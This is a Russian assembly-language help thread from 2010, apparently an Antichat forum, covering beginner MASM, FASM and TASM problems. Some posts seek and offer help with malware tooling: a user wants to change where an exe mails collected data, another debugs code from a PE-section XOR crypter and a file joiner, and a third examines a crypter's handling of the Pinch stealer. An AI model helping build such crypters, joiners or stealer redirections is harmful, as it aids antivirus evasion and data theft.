Для начала бы написал что за среда и какой именно асм.
Судя по виду это не FASM потому как там по другому чуть.
т.е. скорее всего masm32 ? юзаешь IDE или нет типа RAD ASM итд итп?

Actor
02.02.2010, 20:24
установил masm32, отладчик OllyDbg и среду RadAsm. Для чтения выбрал книгу Крупника "Изучаем ассемблер". Возникла проблема с кодом:

.386
.model flat, stdcall
option casemap:none
ExitProcess proto :dword
GetStdHandle proto :dword
WriteConsoleA proto :dword, :dword,\
:dword, :dword, :dword
includelib \masm32\lib\kernel32.lib
.data
stdout dd ?
msg db "My name is Vova", 0dh, 0ah
cWritten dd ?
.code
start:
invoke GetStdHandle, -11
mov stdout, eax
invoke WriteConsoleA, stdout, ADDR msg, sizeof msg,\
ADDR cWriten, 0
invoke ExitProcess, 0
end start

В теории, в консоли должен появиться текст "My name is Vova", но ничего нет.
Прогнал ехе-шник в отладчике. Заметил вот что: при исполнении процедуры GetStdHandle значение регистра eax становиться равным 0, хотя в книжке сказано, что вроде должно быть 12 (или 0С). Пробовал сделать так:

.data
stdout dd 12

а часть кода, где вызывается GetStdHandle, удалил.
Все равно нет резутатa.

Вопрос: где ошибка? как ее исправить? или я неправильно понял назначение процедуры GetStdHandle?

slesh
02.02.2010, 20:58
GetStdHandle возвращет дискриптор ввода вывода.
-11 это STD_OUTPUT_HANDLE

какое значение - это не важно.
т.е. все значения кроме INVALID_HANDLE_VALUE считаются нормальными.
будут
Ты как прогу компилил? Под Win32 или под Консоль?
Нужно чтобы подконсоль компили. типа черное окошко

Шухер
02.02.2010, 22:18
среда виндовс.устанавливал масм32 версии 9. и ничего более :)
мне просто нужно код подправить, сказали что его масмом компилить нужно

expee
02.02.2010, 22:24
Насчет DlgStatic - первая ссылка в гугле - сайт Kaimi: http://kaimi.ru/2009/05/210/ и там есть комментарии :)

Шухер
03.02.2010, 00:17
ничего полезного там не нашел :)

Kaimi
03.02.2010, 00:34
ничего полезного там не нашел

Да ладно?

DlgStatic "Введите символы с картинки:",0,5,20,105,15,100 ;текст, стиль, x, y, ширина, высота, ID контрола

Actor
03.02.2010, 18:15
Ты как прогу компилил? Под Win32 или под Консоль?
Нужно чтобы подконсоль компили. типа черное окошко


? На RadAsm-e. Мм, сначала assemble, потом link. В результате получал 2 файла - .obj и .exe.

Чтобы посмотреть, выводит ли в консоль, я запустил консоль)))
win+r -> cmd -> [перешел в папку в ехе-шником] -> запустил ехе-шник)

Вместо текста программа просто пропускает строку и все.

Ruskey
03.02.2010, 23:13
.386
.model flat, stdcall
option casemap:none
ExitProcess proto :dword
GetStdHandle proto :dword
WriteConsoleA proto :dword, :dword,\
:dword, :dword, :dword
includelib \masm32\lib\kernel32.lib
.data
stdout dd ?
msg db "My name is Vova", 0dh, 0ah
cWritten dd ?
.code
start:
invoke GetStdHandle, -11
mov stdout, eax
invoke WriteConsoleA, stdout, ADDR msg, sizeof msg,\
ADDR cWriten, 0
invoke ExitProcess, 0
end start

У тебя метка cWritten (12 строка) с двумя "t", в функцию WriteConsoleA ты передал с одной "t".

Собирать этот код так:
C:\masm32\bin\ml.exe /c /coff lol.asm
C:\masm32\bin\link.exe /subsystem:console lol.obj

lol.asm - имя исходника.

Actor
04.02.2010, 16:35
Собирать этот код так:
C:\masm32\bin\ml.exe /c /coff lol.asm
C:\masm32\bin\link.exe /subsystem:console lol.obj

lol.asm - имя исходника.


thx, заработало)

Кстати, нашел второй способ решения проблемы - вызвать процедуру AllocConsole.

1ten0.0net1
09.02.2010, 03:16
Опрашиваю все съёмные носители и далее использую функцию CreateFile вот таким образом
invoke CreateFile, drive, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, 0
;проверка на INVALID_HANDLE_VALUE - тогда на exit
; ОШИБКА НА ДИСКЕ, оставшемся из-за Alcohol или DAEMON TOOLS. MSDN - This error can occur if the CD-R drive or CD-RW drive is not recognized as a recordable device.
cmp eax, 0
je next

На одном устройстве выпадает окошко с ошибкой There is no disk in the drive (это остаток виртуального диска от DAEMON TOOLS) - если нажать далее - то всё ок.

Как мне сделать так, чтобы оно не выскакивало вообще (без программного нажатия кнопки далее). В случае, если так нереально сделать - то как сделать програмнное нажатие кнопки далее - я имею ввиду - перехватить хэндл появившего окна и отослать диспетчеру что-то типа MB_OK?

xlinux
10.02.2010, 00:11
Опрашиваю все съёмные носители и далее использую функцию CreateFile вот таким образом
invoke CreateFile, drive, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, 0
;проверка на INVALID_HANDLE_VALUE - тогда на exit
; ОШИБКА НА ДИСКЕ, оставшемся из-за Alcohol или DAEMON TOOLS. MSDN - This error can occur if the CD-R drive or CD-RW drive is not recognized as a recordable device.
cmp eax, 0
je next

На одном устройстве выпадает окошко с ошибкой There is no disk in the drive (это остаток виртуального диска от DAEMON TOOLS) - если нажать далее - то всё ок.

Как мне сделать так, чтобы оно не выскакивало вообще (без программного нажатия кнопки далее). В случае, если так нереально сделать - то как сделать програмнное нажатие кнопки далее - я имею ввиду - перехватить хэндл появившего окна и отослать диспетчеру что-то типа MB_OK?
//Функция проверки готовности диска, нужна для дискет и компакт-дисков
BOOL IsDriveReady(char drive)
{
BOOL res;
char path[4];
asm
{
//заполняем path
mov al,drive
lea ebx,path
mov [ebx],al
mov [ebx+1], byte ptr':'
mov [ebx+2], byte ptr'\'
mov [ebx+3], byte ptr 0
push SEM_FAILCRITICALERRORS
call SetErrorMode //устанавливаем минимальный уровень ошибок
push eax //сохраняем страрый ErrorLevel
push ebx
call SetCurrentDirectory //пытаемся обратиться к приводу
mov res,eax
call SetErrorMode //возвращаем старый Errorlevel
}
return res;
}Короче, надо вызвать SetErrorMode с параметром SEM_FAILCRITICALERRORS

1ten0.0net1
10.02.2010, 01:14
Короче, надо вызвать SetErrorMode с параметром SEM_FAILCRITICALERRORS

Всё сработало отлично, благодарю. Правда, FASM отказался опознавать SEM_FAILCRITICALERRORS - пришлось заменять на 1.

TrueBit
14.02.2010, 01:30
Как сделать так чтоб кнопка была по центру окна?
ps masm32

StFooz
17.02.2010, 22:57
Подскажите литературу для программирования PIC16f676

Folc
22.02.2010, 12:00
Есть программа написанная на асм(имеется только *.exe)- умеет отправлять введенные в поле данные на мыло. Адрес мыла знаю.
Как разложить прогу на программный код, найти там мыло и поменять на свое?

PS дисасемблер не помог...
знания ассемблера- 0

Kaimi
22.02.2010, 14:00
Как разложить прогу на программный код, найти там мыло и поменять на свое?

PS дисасемблер не помог...
знания ассемблера- 0

Искать людей, которые разбираются

Folc
22.02.2010, 14:13
да ладно чего сложного?
разложить, и найти в коде yandex.ru
другой вопрос чем разложить экзешник? =)

Kaimi
22.02.2010, 15:21
hiew в помощь

BastardFromHell
22.02.2010, 16:23
только учти что длинна нового почтового ящика должна быть такой же как старого

Hiro Protagonist
22.02.2010, 17:08
2BastardFromHell
зависит от проги, в общем случае не больше.
2Folc
Чето я добрый, стукни - помогу.

fluffylion
23.02.2010, 14:14
Folc? если еще актуально могу помочь

cheater_man
23.02.2010, 14:43
только учти что длинна нового почтового ящика должна быть такой же как старого
не факт.

Explode
01.03.2010, 17:45
Где взять aplib.lib для TASM'а?

igorf()x
01.03.2010, 18:01
Где взять aplib.lib для TASM'а?
http://usar.pp.ru/download/
http://www.programmersheaven.com/download/20144/download.aspx
http://www.ibsensoftware.com/products_aPLib.html

Taktik
02.03.2010, 14:02
mov eax,20
mov ebx,20
xor eax,ebx
Чему равно eax, десятичной цифрой?

nMonkn
02.03.2010, 14:04
mov eax,20
mov ebx,20
xor eax,ebx
Чему равно eax, десятичной цифрой?
Нулю

SEKTOR3A
05.03.2010, 00:23
плиз помогите разобраться в написание криптора ,исходники по адресу http://webfile.ru/4339401 при компиляции выдает следующею ошибку or [edi].characteristics,80000000h ;can write ,а когда убераю эту строку компелит но крипт после не криптует,(исходники с wasm.ru).


для себя для изучения сорцов

Jino
05.03.2010, 00:51
Начал изучать ассемблер по книге Крупника и столкнулся с проблемой.
Написал программу:
.386
.model flat,stdcall
.code
start:
mov eax, 2
add eax, 3
ret
end start

Затем, смотрю через OllyDbg как оно работает... Но при запуске, через Олли, программа не закрывается, а отладчик пишет: "Process terminated, exit code 5"
Что это значит?

P.S. Знаю, что вопрос глупый...

fluffylion
05.03.2010, 00:54
Jino, это значит, что программа завершилась, а 5 - код возврата

to SEKTOR3A, не нашел такой строки в коде, попробуй напиши название поля структуры с большой буквы, т.е. Characteristics

Jino
05.03.2010, 02:00
Хм... а почему тогда окно с приложением не закрывается?

SEKTOR3A
05.03.2010, 12:09
сори в сорцах сам изменил код да забыл код на место поставить вот оригинал исходник скачать http://webfile.ru/4340200 ну всеровно ошибка в этих строках

or [edi].characteristics,80000000h ;can write
тем кому не знает отредактировать путь k mz_procs.inc
и бантик

часть кода
;//////////////////////////////////
;// Crypt C0de //
;//////////////////////////////////
pushad
invoke GetTickCount
invoke nseed,eax
invoke nrandom,255
mov dwCryptKey,al
mov esi,pFileHeader
assume esi:ptr IMAGE_FILE_HEADER
mov cx,[esi].NumberOfSections
mov edi,pSectionTable
assume edi:ptr IMAGE_SECTION_HEADER
.while cx != 0
invoke CanCrypt,pPE,edi
test eax,eax
jnz @F
or [edi].characteristics,80000000h ;can write
lea ebx,[edi].PointerToLinenumbers
mov word ptr [ebx],Sign
mov edx,[edi].PointerToRawData
add edx,hMap
xor eax,eax
.while eax <= [edi].SizeOfRawData
push eax
mov ah,dwCryptKey
xor byte ptr [edx],ah
pop eax
inc eax
inc edx
.endw

fluffylion
05.03.2010, 14:06
Jino какое окно? Я так понимаю, ты говоришь про окно отладчика, так оно и не должно закрываться...

to SEKTOR3A, я ж написал в своем посте - напиши Characteristics (название данного поля структуры IMAGE_SECTION_HEADER пишется с большой буквы)

SEKTOR3A
05.03.2010, 17:43
Jino какое окно? Я так понимаю, ты говоришь про окно отладчика, так оно и не должно закрываться...

to SEKTOR3A, я ж написал в своем посте - напиши Characteristics (название данного поля структуры IMAGE_SECTION_HEADER пишется с большой буквы)


спасиб,вот еще вопрос собрал с кусков программку и решил сделать жойнер,но при компиляции выдает такую ошибку RT_VERSION,versions

а если убераю эту строку то выкидывает на ресурсы и выдает вот что
dd type,80000000h+label-root@resource
подправьте плиз
сам код

format PE GUI 4.0
entry start

include 'include\win32a.inc'


IDD_DLG1= 1000
IDC_EDT1= 1001
IDC_BTN1= 1002
IDC_BTN2= 1003
IDC_EDT2= 1004
IDC_GRP1= 1005
IDC_GRP2= 1006
IDC_BTN3= 1007
IDC_BTN5= 1009
IDC_BTN4= 1008
IDR_PICT= 1010







section '.data' data readable writeable

hInstance dd ?
hIc dd ?
fOneBf rb 129h
fTwoBf rb 129h
outBuf rb 129h

file_one_opn OPENFILENAME sizeof.OPENFILENAME,0,0,FileFltr,0,0,1,fOneBf,127, 0,0,0,0,0,0,0,0,0,0,0
file_two_opn OPENFILENAME sizeof.OPENFILENAME,0,0,FileFltr,0,0,1,fTwoBf,127, 0,0,0,0,0,0,0,0,0,0,0
fout OPENFILENAME sizeof.OPENFILENAME,0,0,exefiltr,0,0,1,outBuf,127, 0,0,0,0,0,0,0,0,0,0,0
FileFltr db 'All files',0,'*.*',0,0
exefiltr db 'EXE files',0,'*.EXE',0,0
error db 'ERROR',0
fnf db "Patch is not set!",0
outName db 'Joined.exe',0
finished db 'Finished',0
crok db 'Created successfully!',0
fnfon db 'File not found!',0
unkn db 'Processing error',0
cantop db "Can't open file.",0
cantcr db "Can't create file!",0
Inf db 'Information',0
filalr db 'File already exists. Replace?',0
about db 'About',0
aboutd db '================================',0dh,0ah
db '=========[ version 0.1 ]=========',0dh,0ah
db '========[......... ]========',0dh,0ah
db '=======[ ........... ]=======',0dh,0ah
db '================================',0
fHandle1 dd ?
fHandle2 dd ?
fs1 dd ?
fs2 dd ?
fPone dd ?
fPtwo dd ?
cread dd ?
cwritten dd ?
hFileOut dd ?
hRes dd ?
hFnRes dd ?
ResSz dd ?
pModule dd ?
hRES dd ?






section '.code' code readable executable

start:

invoke GetModuleHandle,0
mov [hInstance],eax
mov [hIc],eax
invoke LoadIcon,[hInstance],17
invoke DialogBoxParam,[hInstance],1000,HWND_DESKTOP,DialogProc,0
invoke ExitProcess,0
jmp finish

proc DialogProc hwnd,msg,wparam,lparam
push ebx esi edi
cmp [msg],WM_INITDIALOG
je intd
cmp [msg],WM_CLOSE
je wmclose
cmp [msg],WM_COMMAND
je goi
cmp [msg],WM_INITDIALOG
je intd
xor eax,eax
jmp finish



intd:


invoke SendMessage,[hwnd],WM_SETICON,0,[hIc],ICON_SMALL,eax
jmp finish



goi:
cmp [wparam],BN_CLICKED shl 16 + 1002
je file_one_open
cmp [wparam],BN_CLICKED shl 16 + 1003
je file_two_open
cmp [wparam],BN_CLICKED shl 16 + 1009
je wmclose
cmp [wparam],BN_CLICKED shl 16 + 1007
je build
cmp [wparam],BN_CLICKED shl 16 + 1008
je abd
jmp finish

abd:
invoke MessageBox,HWND_DESKTOP,aboutd,about,MB_OK
jmp finish





file_one_open:
invoke RtlZeroMemory,fOneBf,128h
invoke GetOpenFileName,file_one_opn
cmp eax,0
je NoSelFo
invoke SetDlgItemText,[hwnd],1001,fOneBf,128h
NoSelFo:
jmp finish



file_two_open:
invoke RtlZeroMemory,fTwoBf,128h
invoke GetOpenFileName,file_two_opn
cmp eax,0
je NoSelFt
invoke SetDlgItemText,[hwnd],1004,fTwoBf,128h
NoSelFt:
jmp finish


build:
cmp dword[fOneBf],0
jne f1ok
invoke MessageBox,HWND_DESKTOP,fnf,error,MB_OK+MB_ICONWAR NING
jmp finish
f1ok:
cmp dword[fOneBf],0
jne f2ok
invoke MessageBox,HWND_DESKTOP,fnf,error,MB_OK+MB_ICONWAR NING
jmp finish
f2ok:
invoke RtlZeroMemory,fOneBf,128h
invoke RtlZeroMemory,fTwoBf,128h
invoke GetDlgItemText,[hwnd],1001,fOneBf,128h
invoke GetDlgItemText,[hwnd],1004,fTwoBf,128h
;\\\\\\\\\\\\\\\\\\\\\\\\\\\
mov [fHandle1],0
invoke CreateFile,fOneBf,GENERIC_READ,0,NULL,OPEN_EXISTIN G,FILE_ATTRIBUTE_NORMAL,0
cmp eax,INVALID_HANDLE_VALUE
je fErrorO
mov [fHandle1],eax
invoke GetFileSize,eax,fs1
mov [fs1],eax
;\\\\\\\\\\\\\\\\\\\\\\\\\\\\
mov [fHandle2],0
invoke CreateFile,fTwoBf,GENERIC_READ,0,NULL,OPEN_EXISTIN G,FILE_ATTRIBUTE_NORMAL,0
cmp eax,INVALID_HANDLE_VALUE
je fErrorO
mov [fHandle2],eax
invoke GetFileSize,eax,fs2
mov [fs2],eax
;\\\\\\\\\\\\\\\\\\\\\\\\\\\\
invoke GlobalAlloc,GPTR,[fs1]
mov [fPone],eax
invoke GlobalAlloc,GPTR,[fs2]
mov [fPtwo],eax
invoke ReadFile,[fHandle1],[fPone],[fs1],cread,NULL
invoke ReadFile,[fHandle2],[fPtwo],[fs2],cread,NULL
invoke CloseHandle,[fHandle1]
invoke CloseHandle,[fHandle2]
;\\\\\\\\\\\\\\\\\\\\\\\\\\\\
invoke lstrcpy,[fout.lpstrFile],outName
_@next:
invoke GetSaveFileName,fout
cmp eax,0
je finish
invoke CreateFile,outBuf,GENERIC_WRITE or GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE _NORMAL,NULL
cmp eax,INVALID_HANDLE_VALUE
jne @next
invoke MessageBox,HWND_DESKTOP,cantcr,error,MB_OK+MB_ICON ERROR
jmp finish
@next:
mov [hFileOut],eax
invoke FindResource,[hInstance],5000,RT_RCDATA
mov [hFnRes],eax
invoke LoadResource,[hInstance],eax
mov [hRes],eax
invoke SizeofResource,[hInstance],[hFnRes]
mov [ResSz],eax
invoke LockResource,[hRes]
mov [pModule],eax
invoke WriteFile,[hFileOut],[pModule],[ResSz],cwritten,FALSE
cmp eax,0
je error

invoke SetFilePointer,[hFileOut],400h,0,FILE_BEGIN
stdcall get_file_name,fOneBf
invoke WriteFile,[hFileOut],ebx,32h,cwritten,FALSE
invoke SetFilePointer,[hFileOut],432h,0,FILE_BEGIN
stdcall get_file_name,fTwoBf
invoke WriteFile,[hFileOut],ebx,32h,cwritten,FALSE




invoke CloseHandle,[hFileOut]
;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\


invoke BeginUpdateResource,outBuf,FALSE
cmp eax,0
je Error
mov [hRES],eax
invoke UpdateResource,[hRES],RT_RCDATA,2001,0,[fPone],[fs1]
invoke UpdateResource,[hRES],RT_RCDATA,2002,0,[fPtwo],[fs2]
invoke EndUpdateResource,[hRES],FALSE
invoke MessageBox,HWND_DESKTOP,crok,finished,MB_OK+MB_ICO NINFORMATION
invoke GlobalFree,[fPone]
invoke GlobalFree,[fPtwo]

jmp finish




fErrorO:
cmp [fHandle1],0
je fhcl
invoke CloseHandle,[fHandle1]
fhcl:
cmp [fHandle2],0
je fh2cl
invoke CloseHandle,[fHandle2]
fh2cl:
invoke GetLastError
cmp eax,2
jne @2ok
invoke MessageBox,HWND_DESKTOP,fnfon,error,MB_OK+MB_ICONW ARNING
jmp finish
@2ok:
invoke MessageBox,HWND_DESKTOP,cantop,error,MB_OK+MB_ICON WARNING
jmp finish




Error:
invoke MessageBox,HWND_DESKTOP,unkn,error,MB_OK+MB_ICONER ROR
jmp finish

wmclose:
invoke EndDialog,[hwnd],0

finish:
pop edi esi ebx
ret
endp


proc get_file_name bf

mov eax,[bf]
invoke lstrlen,eax
mov ebx,[bf]
add ebx,eax
@_@next:
dec ebx
cmp byte[ebx],'\'
jne @_@next
inc ebx
ret

endp


section '.idata' import data readable writeable

library kernel32,'KERNEL32.DLL',\
user32,'USER32.DLL',\
COMDLG32,'COMDLG32.dll'

include 'include\api\kernel32.inc'
include 'include\api\user32.inc'


import COMDLG32,\
GetOpenFileName,'GetOpenFileNameA',\
GetSaveFileName,'GetSaveFileNameA'






section '.rsrc' resource data readable
IDR_PICT = 27

directory RT_DIALOG,dialogs,\
RT_BITMAP,bitmaps,\
RT_ICON,icons,\
RT_GROUP_ICON,group_icons,\
RT_RCDATA,rdata


resource icons,\
1,LANG_NEUTRAL,icon_data
resource group_icons,\
17,LANG_NEUTRAL,main_icon
resource versions,\
2,LANG_ENGLISH+SUBLANG_DEFAULT,version

resource bitmaps,\
IDR_PICT,LANG_NEUTRAL,pict

resource dialogs,\
1000,LANG_ENGLISH+SUBLANG_DEFAULT,dialog0



dialog dialog0,'Senator version 0.1 ',10,20,213,240,WS_VISIBLE+WS_POPUP+WS_CAPTION+WS_ SYSMENU+DS_CENTER+DS_MODALFRAME

dialogitem "Edit","",IDC_EDT1,24,10,188,10,WS_CHILD OR WS_VISIBLE OR WS_TABSTOP OR ES_AUTOHSCROLL,WS_EX_CLIENTEDGE
dialogitem "Edit","",IDC_EDT2,24,32,188,10,WS_CHILD OR WS_VISIBLE OR WS_TABSTOP OR ES_AUTOHSCROLL,WS_EX_CLIENTEDGE
dialogitem "Button","+++",IDC_BTN1,6,10,15,9,WS_CHILD or WS_VISIBLE or WS_TABSTOP
dialogitem "Button","+++",IDC_BTN2,6,32,15,9,WS_CHILD or WS_VISIBLE or WS_TABSTOP
dialogitem "Button","File 2",IDC_GRP1,2,24,232,22,WS_CHILD or WS_VISIBLE or BS_GROUPBOX
dialogitem "Button","File 1",IDC_GRP2,2,1,232,22,WS_CHILD or WS_VISIBLE or BS_GROUPBOX
dialogitem "Button","Crypt",IDC_BTN3,10,48,54,15,WS_CHILD or WS_VISIBLE or WS_TABSTOP
dialogitem "Button","Exit",IDC_BTN5,152,48,58,15 ,WS_CHILD or WS_VISIBLE or WS_TABSTOP
dialogitem "Button","About",IDC_BTN4,86,48,56,15 ,WS_CHILD or WS_VISIBLE or WS_TABSTOP
dialogitem 'STATIC',IDR_PICT,1,1,99,0,1,WS_VISIBLE+SS_BITMAP
enddialog
bitmap pict,'map.bmp'
icon main_icon,icon_data,'611.ico'
versioninfo version,VOS__WINDOWS32,VFT_APP,VFT2_UNKNOWN,LANG_E NGLISH+SUBLANG_DEFAULT,0,\
'FileDescription','Bitmap example',\
'LegalCopyright',<'Copyright ',0A9h,' BarMentaLisk 2009'>,\
'FileVersion','0.1',\
'ProductVersion','0.1',\
'OriginalFilename','bmp_example'

Tor Bel
05.03.2010, 20:34
А после RT_VERSION,versions запятую или обратный слеш не пропустил?

А висходнике именно так
LANG_E NGLISH

SEKTOR3A
05.03.2010, 22:36
А после RT_VERSION,versions запятую или обратный слеш не пропустил?

А висходнике именно так
LANG_E NGLISH




а ты сам пробовал скомпелировать,





исходник я уже 10 раз изменил под себя ,а оригинальный исходник рабочий это я сам типо вписал сам вот эти коды и он перестал работать
section '.idata' import data readable writeable

library kernel32,'KERNEL32.DLL',\
user32,'USER32.DLL',\
COMDLG32,'COMDLG32.dll'

include 'includeapikernel32.inc'
include 'includeapiuser32.inc'


import COMDLG32,\
GetOpenFileName,'GetOpenFileNameA',\
GetSaveFileName,'GetSaveFileNameA'






section '.rsrc' resource data readable
IDR_PICT = 27

directory RT_DIALOG,dialogs,\
RT_BITMAP,bitmaps,\
RT_ICON,icons,\
RT_GROUP_ICON,group_icons,\
RT_RCDATA,rdata


resource icons,\
1,LANG_NEUTRAL,icon_data
resource group_icons,\
17,LANG_NEUTRAL,main_icon
resource versions,\
2,LANG_ENGLISH+SUBLANG_DEFAULT,version

resource bitmaps,\
IDR_PICT,LANG_NEUTRAL,pict

resource dialogs,\
1000,LANG_ENGLISH+SUBLANG_DEFAULT,dialog0
bitmap pict,'map.bmp'
icon main_icon,icon_data,'611.ico'
versioninfo version,VOS__WINDOWS32,VFT_APP,VFT2_UNKNOWN,LANG_E NGLISH+SUBLANG_DEFAULT,0,\
'FileDescription','Bitmap example',\
'LegalCopyright',<'Copyright ',0A9h,' BarMentaLisk 2009'>,\
'FileVersion','0.1',\
'ProductVersion','0.1',\
'OriginalFilename','bmp_example



intd:


invoke SendMessage,[hwnd],WM_SETICON,0,[hIc],ICON_SMALL,eax
jmp finish

mov [hInstance],eax

эти строки кода были добавлены мной, оригинальный исходник в полном рабочем состоянии ,хотел добавит картинку в деологовое окно да не вышло.
---------------------------------------------------
и еще по первому посту к fluffylion (название данного поля структуры IMAGE_SECTION_HEADER пишется с большой буквы В исходниках так и есть с большой буквы но не выходит не по первому моему вопросу не по второму,спс

Jino
05.03.2010, 23:07
Jino какое окно? Я так понимаю, ты говоришь про окно отладчика, так оно и не должно закрываться...


Нет, когда начинаешь смотреть Олей программу открывается окно консольного приложения - оно не закрывается... так и должно быть?

SEKTOR3A
06.03.2010, 03:54
А после RT_VERSION,versions запятую или обратный слеш не пропустил?

А висходнике именно так
LANG_E NGLISH


Спасибо разобрался сам должно выйти так как было задумано
http://img.pixs.ru/storage/1/9/6/verzionjpg_1935692_501196.jpg

Fl0dER
12.03.2010, 21:31
Люди добрые обьясните как компилить в masm последней версии открываю простейший проэкт из папки tutorial , жмякаю project -> built_all и ввижу в коммандной строке




Microsoft (R) Macro Assembler Version 6.14.8444
Copyright (C) Microsoft Corp 1981-1997. All rights reserved.

Assembling: C:\masm32\tutorial\console\demo1\hello.asm
Microsoft (R) Incremental Linker Version 5.12.8078
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.

LINK : fatal error LNK1181: cannot open input file "C:\masm32\tutorial\console\d
emo1\hello.obj"
_
Link error
Для продолжения нажмите любую клавишу . . .

dr.Pilulkin
24.03.2010, 09:13
C:\Masm32\Bin\ML.EXE /c /coff /Cp /nologo /I"C:\Masm32\Include" "hello.asm"
C:\Masm32\Bin\LINK.EXE /SUBSYSTEM:WINDOWS /RELEASE /VERSION:4.0 /LIBPATH:"C:\Masm32\Lib" /OUT:"hello.exe" "hello.obj"


Создай батник в папке с hello.asm.
Если не получается тогда не знаю. У тебя похоже не создается .obj файл. Возможно ошибки в коде.

wm2
01.04.2010, 11:40
data segment
max dw ?
mass dw 1,14,4,9,5,21,3,17,12,100
data ends
code segment
assume cs: code, ds: data
start: mov ax, data
mov ds, ax ; Загрузить сегментный адрес данных
lea bx, mass ; Загрузить адрес смещения массива
mov cx, 10 ; Установить счетчик повторений цикла
mov ax, 6; Первый элемент массива в Аккумулятор
beg: cmp [bx],ax ; Сравнить текущий элемент
; массива с максимальным
jg no ; он больше
add dx, [bx] ; сумма

no: inc bx
inc bx ; Следующий элемент
; массива
loop beg
quit: mov ax,4C00h ; Код завершения 0
int 21h ; Выход в DOS
code ends
end start


подскажите пожалуйста как сделать что бы работало в байте ?

fluffylion
01.04.2010, 11:55
wm2, что значит в байте?Ты имеешь в виду чтобы программа работала с переменными, размерностью в байт, а не слово?

wm2
01.04.2010, 12:49
fluffylion, именно... у нас практика в универе страдает :-D

slesh
01.04.2010, 13:11
data segment
mass db 1,14,4,9,5,21,3,17,12,100
data ends
code segment
assume cs: code, ds: data
start: mov ax, data
mov ds, ax ; Загрузить сегментный адрес данных
xor dx, dx; обнулим сумму
lea bx, mass ; Загрузить адрес смещения массива
mov cx, 10 ; Установить счетчик повторений цикла
mov al, 6; Первый элемент массива в Аккумулятор
beg: cmp [bx],al ; Сравнить текущий элемент
; массива с максимальным
jg no ; он больше
add dx, byte [bx] ; сумма

no:
inc bx ; Следующий элемент
; массива
loop beg
quit: mov ax,4C00h ; Код завершения 0
int 21h ; Выход в DOS
code ends
end start

wm2
01.04.2010, 13:23
slesh, получается ответ 0x183D а должно 0x000D

fluffylion
01.04.2010, 13:33
data segment
mass db 1,14,4,9,5,21,3,17,12,100
data ends
code segment assume cs:code, ds:data
start:
mov ax, data
mov ds, ax ; Загрузить сегментный адрес данных
lea bx, mass ; Загрузить адрес смещения массива
mov cx, 10 ; Установить счетчик повторений цикла
mov al, 6 ; Первый элемент массива в Аккумулятор
xor dx, dx
beg:
cmp byte [bx], al ; Сравнить текущий элемент массива с максимальным
jg no ; он больше
add dl, byte [bx] ; сумма
jnc no ; если сумма укладывается в размерность байт, то переход на no
adc dh, 0 ; иначе корректируем сумму
no:
inc bx ; Следующий элемент массива
loop beg
quit:
mov ax, 4C00h ; Код завершения 0
int 21h ; Выход в DOS
code ends
end start

может где ошибся, не тестировал

wm2
01.04.2010, 13:45
Cпасибо большое обоим :) помогли разобраться :) +1

Lewis Carroll
05.04.2010, 19:20
Может кто нибудь дать пример программы на ассме, переводящей введенное числовое выражение в обратную польскую запись ?

wm2
08.04.2010, 21:04
Найти среднее арифметическое квадратов ненулевых элементов последовательности. Массив слов. // как это сделать на asm ? cpu 80486 16 ти разрядный.... при помощи цикла

becensed
11.04.2010, 01:33
Найти среднее арифметическое квадратов ненулевых элементов последовательности. Массив слов. // как это сделать на asm ? cpu 80486 16 ти разрядный.... при помощи цикла
.model tiny
.code
.386

org 100h
start:
xor si, si
mov cx, 7

lp: cmp word ptr mas[si], 0
je nxt
mov dx, word ptr mas[si]
imul dx, word ptr mas[si]
add bx, dx
nxt:
inc si
inc si
loop lp

mov ax, bx
mov cx, 7
cwd
idiv cx
mov res, ax

ret

mas dw -1,2,4,0,-2,3,1
res dw 0

end start
как-то так

airyashov
16.04.2010, 08:56
требуется поправить

....
mov ax, word ptr mas[si]
imul ax
add bx, dx
nxt:
...
как-то так

cupper
17.04.2010, 18:18
что делает эта опрация
add -0x3f85fbc0(,%ebx,4),%esi
AT&T (вроде этот в linux ядре используется)

norway
18.04.2010, 14:11
В коде морфнаха заметил очень интересные строки

mov eax,[edi+IMAGE_OPTIONAL_HEADER32.ImageBase] ; закидываем в eax адрес имейдж базы
....
add eax,[FileSize] ; прибавляем к адресу имейджбазы размер файла
.....
cmp eax,1314BBB9h; производим сравнение пинч ли это
jnz fornexta
mov [RB_is],2
fornexta:
cmp eax,1314C600h ; производим сравнение пинч ли это
jnz fornexta2
mov [RB_is],2
fornexta2:
....
mov edx,[edi+IMAGE_SECTION_HEADER.PointerToRawData]; закидываем в edx смещение в файле
add edx,[hMap] ; плюсуем с началом файла в памяти
....
mov eax,[RB_is]
.if eax = 2; если у нас пинч...
add edx,512; добавляем 512 к смещению+началу файла в памяти
.endif
mov ecx,[edi+IMAGE_SECTION_HEADER.SizeOfRawData]; закидываем в eсx физический размер секции на диске
.if eax = 2 ; если у нас пинч...
sub ecx,512; уменьшаем на 512
.endif

...
mov edx,[edi+IMAGE_SECTION_HEADER.VirtualAddress];закидываем в edx виртуальный адрес
add edx,[dwImageBase]; складываем с имейдж базой
mov eax,[RB_is]
.if eax = 2 ; если у нас пинч...
add edx,512; добавляем к виртуальному адресу 512
.endif
....

После этих преобразований у нас получиться что первые 512байт секции уйдут и в память грузиться не будут...
Загрузил пинча в иде и заметил что в этих сегментах расположены данные которые выкидывать нельзя...

вот отрывок из секции данных в первых 512 байтах


.data:1314B0D2; char aSoftwareMicr_1[]
.data:1314B0D2 aSoftwareMicr_1 db 'SOFTWARE\Microsoft\Windows\CurrentVersion',0
.data:1314B0D2 ; DATA XREF: sub_13141780+Ao
.data:1314B0D2 ; sub_13141780+30o
.data:1314B0FC; char aProgramfilesdi[]
.data:1314B0FC aProgramfilesdi db 'ProgramFilesDir',0 ; DATA XREF: sub_13141780+2Bo
.data:1314B10C dd 6 dup(0)


Сей код размещен специально чтобы морфнахом не криптовали пинчи? или есть какой то сокральный смысл?))

[underwater]
18.04.2010, 17:43
Помогите пожалуйста - надо написать на асме:
Ввести строку символов. Вывести сумму цифр в строке, если они там есть.

B1TMAST3R
18.04.2010, 22:34
']Помогите пожалуйста - надо написать на асме:

Простейшее задание. Сорцы на MASM ТУТ (http://rapidshare.com/files/377375859/Project.rar.html) . Пароль к архиву - Antichat.ru

>>serhio<<
